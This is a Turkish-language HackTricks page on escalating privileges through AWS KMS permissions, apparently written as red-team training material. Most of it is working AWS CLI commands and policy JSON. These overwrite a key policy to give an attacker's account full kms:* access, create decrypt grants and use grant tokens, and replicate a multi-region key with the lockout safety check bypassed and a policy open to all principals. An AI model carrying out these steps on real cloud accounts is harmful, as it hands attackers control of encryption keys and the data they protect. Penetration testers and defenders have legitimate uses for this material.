AWS - KMS Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

KMS

KMS hakkında daha fazla bilgi için bakın:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Bu izinlerle anahtarın erişim izinlerini değiştirmek mümkün olur; böylece anahtar diğer hesaplar veya hatta herkes tarafından kullanılabilir:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Bu bir principal’ın bir KMS anahtarını kullanmasına izin verir:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Warning

Bir grant yalnızca belirli tür işlemlere izin verebilir: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Warning

Grant oluşturulduktan sonra KMS’in kullanıcının anahtarı kullanmasına izin vermesi birkaç dakika sürebilir. Bu süre geçtikten sonra, principal herhangi bir şey belirtmeye gerek kalmadan KMS anahtarını kullanabilir.
Ancak grant’i hemen kullanmak gerekiyorsa use a grant token (aşağıdaki koda bakın).
Daha fazla bilgi için more info read this.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Anahtarların grant’lerini şu şekilde listeleyebileceğinizi unutmayın:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Bu izinlerle, multi-region etkin KMS anahtarını farklı bir bölgede ve farklı bir politika ile çoğaltmak mümkündür.

Dolayısıyla bir saldırgan bunu istismar ederek anahtara erişim için privesc elde edebilir ve anahtarı kullanabilir.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Bu izin bir anahtarı bazı bilgileri decrypt etmek için kullanmaya izin verir.
Daha fazla bilgi için bakın:

AWS - KMS Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin